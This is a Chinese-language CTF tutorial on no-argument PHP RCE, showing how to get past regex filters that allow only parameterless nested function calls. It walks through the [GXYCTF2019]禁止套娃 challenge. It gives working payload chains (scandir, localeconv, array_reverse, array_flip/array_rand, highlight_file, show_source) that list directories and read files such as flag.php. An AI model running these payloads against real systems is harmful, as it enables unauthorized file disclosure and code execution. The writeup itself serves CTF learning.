无参数RCE总结
无参数RCE
一、什么是无参数RCE?
顾名思义,就是只使用函数,且函数不能带有参数,这里有很多限制:比如我们选择的函数必须能接受其括号内函数的返回值;所使用函数的参数必须为空或者为参数
比如:a(b(c()));可以使用,但是a(‘b’)或者a(‘b’,’c’)这种含有参数的都不能使用
有些题目我们必须使用无参数的函数才能进行命令执行、任意文件读取、查看当前目录文件名等操作
举例:
|
关键代码
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code']) |
这里使用preg_replace
替换匹配到的字符为空,\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9_]
,然后(?R)?
这个意思为递归整个匹配模式,所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;
以上正则表达式只匹配a(b(c()))或a()这种格式,不匹配a(“123”),也就是说我们传入的值函数不能带有参数,所以我们要使用无参数的函数进行文件读取或者命令执行。
二、常见函数
目录操作: |
getallheaders()
这个函数的作用是获取http
所有的头部信息,也就是headers
,然后我们可以用var_dump
把它打印出来,但这个有个限制条件就是必须在apache
的环境下可以使用,其它环境都是用不了的
?code=print_r(getallheaders()); |
数组会返回 HTTP 请求头。
get_defined_vars()
getallheaders()
是有局限性的,因为如果中间件不是apache
的话,它就用不了了,那我们就介绍一种更为普遍的方法get_defined_vars()
,这种方法其实和上面那种方法原理是差不多的,它并不是获取的headers
,而是获取的四个全局变量$_GET $_POST $_FILES $_COOKIE
?code=var_dump(get_defined_vars()); |
var_dump
可以把返回数组打印出来。
getenv()
获取环境变量的值(在PHP7.1之后可以不给予参数)
适用于:php7以上的版本
?code=var_dump(getenv()); |
php7.0以下返回bool(false)
php7.0以上正常回显。
?code=var_dump(getenv(phpinfo())); |
phpinfo()可以获取所有环境变量。
scandir()
文件读取
查看当前目录文件名
print_r(scandir(current(localeconv()))); |
读取当前目录文件
当前目录倒数第一位文件: |
查看上一级目录文件名
print_r(scandir(dirname(getcwd()))); |
读取上级目录文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); |
payload解释:
● array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。
● array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。
● array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
● dirname(chdir(dirname()))配合切换文件路径
查看和读取根目录文件
所获得的字符串第一位有几率是/,需要多试几次
print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); |
localeconv()
官方解释:localeconv()
函数返回一个包含本地数字及货币格式信息的数组。
current()和pos()
pos()
函数是current()
函数的别名,两者是完全一样的,
它的作用就是输出数组中当前元素的值,只输出值而忽略掉键,默认是数组中的第一个值。
chdir()
这个函数是用来跳目录的,有时想读的文件不在当前目录下就用这个来切换,因为scandir()
会将这个目录下的文件和目录都列出来,那么利用操作数组的函数将内部指针移到我们想要的目录上然后直接用chdir
切就好了,如果要向上跳就要构造chdir('..')
array_reverse()
将整个数组倒过来,有的时候当我们想读的文件比较靠后时,就可以用这个函数把它倒过来,就可以少用几个next()
highlight_file()
打印输出或者返回 filename 文件中语法高亮版本的代码,相当于就是用来读取文件的
三、实战例题-[GXYCTF2019]禁止套娃
这道题目打开就是一个普通的页面,经过目录扫描会发现是git源码泄露,用Githack
把源码弄出来:
|
代码分析
首先看第一行关键代码:
!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']) |
很明显,大概意思就是不让我们用伪协议去写或者是读文件。
然后看第二行关键代码:
';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']) |
再看第二个正则,中间有一个(?R),这个式子他会递归调用当前的正则表达式,就是说会出现\w+((?R)?),\w+(\w+((?R)?))的情况,也就是无参数函数校验。
最后第三行关键代码:
!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']) |
就是屏蔽了一些函数名的关键字之类的东西。
分析完成我们整理一下:不能用伪协议 、只能用无参数函数形式、注意函数过滤
解题步骤
首先遍历当前目录:
?exp=print_r(scandir(current(localeconv()))); |
顺利得到目录。
方法一:
可以看到flag.php
是倒数第二个,那我们把它反转一下,然后再用一个next()
就是flag.php
这个文件了:
?exp=print_r(next(array_reverse(scandir(current(localeconv()))))); |
已经很接近答案了,用highlight_file
读取这个文件就拿到flag了:
?exp=highlight_file(next(array_reverse(scandir(current(localeconv()))))); |
思路总结
scandir(current(localeconv()))是查看当前目录 |
方法二:
我们已经知道了flag就在当前目录下了。array_rand()
函数可以随机读取一个数组键,array_flip()
又可以将数组中的键和值进行对换。
用这两个函数就可以实现对flag.php的读取。最后payload如下:
?exp=print_r(show_source(array_rand(array_flip(scandir(current(localeconv())))))); |
因为array_rand()
的选取是随机的,所以不一定会直接出来,多刷新几次就可以了